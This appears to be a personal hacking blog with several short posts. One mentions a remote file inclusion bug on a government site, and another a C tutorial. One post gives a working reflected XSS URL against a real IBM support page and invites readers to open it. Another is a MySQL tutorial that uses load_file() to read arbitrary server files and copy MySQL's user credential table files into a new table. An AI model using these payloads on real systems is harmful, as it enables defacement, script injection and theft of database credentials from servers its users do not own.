Hmm.. My Bos aunty virus, asked me to call an officer regarding 'Pertandingan Laman Web'. While searching his telephone number in his agency's site (a very well known government agency), i found a bug that 'might' lead to be defaced! The infamous rfi bug. Hmm..

I did'nt go any further to test the bug. I've informed the appropriate person handling this kind of issue.

http://xxx.xxxxx.xxx.xx/xxxxxx.php?section=[evil script]

Hmm.. an IBM Security Site, regarding mitigating XSS attack. The funny thing is that, the site itself is vulnerable to XSS attack! What the hell :)

Just open (copy and paste it in your ie) the link below, and you'll notice a nice pop up, showing my name. Muhahaha

http://www-1.ibm.com/support/docview.wss?uid=swg21233077&loc=%22%3E%3Cbody%20onload=alert('ghimau')%20x=%22en_US

Added a tutorial on basic C programming. Posted in HackerMalaysia site. I've uploaded the pdf version to my site. Feel free to review it :)

Part 1
Part 2

Hmm.. I came across a nice pdf document regarding Hacking History.

Quite a dull evening. Need to take a break.

Hmm..
Want to try hack your server via mysql?
Hihihi

Ok, you can 'print' any file in the server to the monitor (running mysql) using load_file() function, in mysql.

Go to your command prompt.
mysql>

Type in the following command:
mysql>select load_file('c:/dns.txt');

dns.txt can be any file in your server

By using load data infile function, you can transfer any file, or database content to a newly created database.

mysql>load data infile 'c/dns.txt' into table table_name;

Ok.. so you want to copy a table to your newly created table?

mysql> create database db_ghimau;
mysql> use db_ghimau;
mysql> create table tbl_ghimau (filename varchar(20),content longblob);

Then copy the data!

mysql> insert into tbl_ghimau values ('user.frm',load_file('c:\\MySQL\\data\\mysql\\user.frm'));
mysql> insert into tbl_ghimau values ('user.MYI',load_file('c:\\MySQL\\data\\mysql\\user.MYI'));
mysql> insert into tbl_ghimau values ('user.MYD',load_file('c:\\MySQL\\data\\mysql\\user.MYD'));